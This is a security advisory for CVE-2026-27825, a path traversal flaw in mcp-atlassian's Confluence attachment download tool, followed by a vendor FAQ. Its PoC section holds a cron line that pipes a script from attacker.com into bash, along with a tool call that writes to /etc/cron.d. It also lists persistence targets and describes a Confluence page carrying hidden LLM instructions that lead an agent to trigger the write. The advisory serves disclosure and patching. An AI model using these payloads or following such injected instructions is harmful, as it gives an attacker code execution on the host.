CVE-2026-27825

The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).

Details

The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:

download_path: Annotated[
    str,
    Field(
        description=(
            "Full path where the file should be saved. Can be absolute or relative. "
            "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
            "Parent directory will be created if it doesn't exist."
        )
    ),
],

 The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

if not os.path.isabs(target_path):
    target_path = os.path.abspath(target_path)  # normalizes path, no restriction

os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory
with open(target_path, "wb") as f:                        # writes to any writable path
    for chunk in response.iter_content(chunk_size=8192):
        f.write(chunk)

 os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).


### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.

Step 1, Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

* * * * * root curl http://attacker.com/shell.sh | bash

Step 2, Call the tool with a sensitive write target:

{
    "jsonrpc": "2.0",
    "method": "tools/call",
    "params": {
        "name": "confluence_download_attachment",
        "arguments": {
            "page_id": "<page id hosting the malicious attachment>",
            "attachment_id": "<attachment id>",
            "download_path": "/etc/cron.d/mcp-backdoor"
        }
    },
    "id": 1
}

The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.

Alternative potential write targets demonstrating broader impact:
- /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
- <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
- ~/.bashrc - code execution on next user login

### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.

In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.

Example potential RCE paths:
 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required
 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.
 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.
 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-27825 has a CVSS score of 9.0 (Critical). The vector is reachable from an adjacent network, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.17.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-27825? CVE-2026-27825 is a critical-severity path traversal vulnerability in mcp-atlassian (pip), affecting versions < 0.17.0. It is fixed in 0.17.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-27825? CVE-2026-27825 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mcp-atlassian are affected by CVE-2026-27825? mcp-atlassian (pip) versions < 0.17.0 is affected.
4. Is there a fix for CVE-2026-27825? Yes. CVE-2026-27825 is fixed in 0.17.0. Upgrade to this version or later.
5. Is CVE-2026-27825 exploitable, and should I be worried? Whether CVE-2026-27825 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27825 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27825? Upgrade mcp-atlassian to 0.17.0 or later.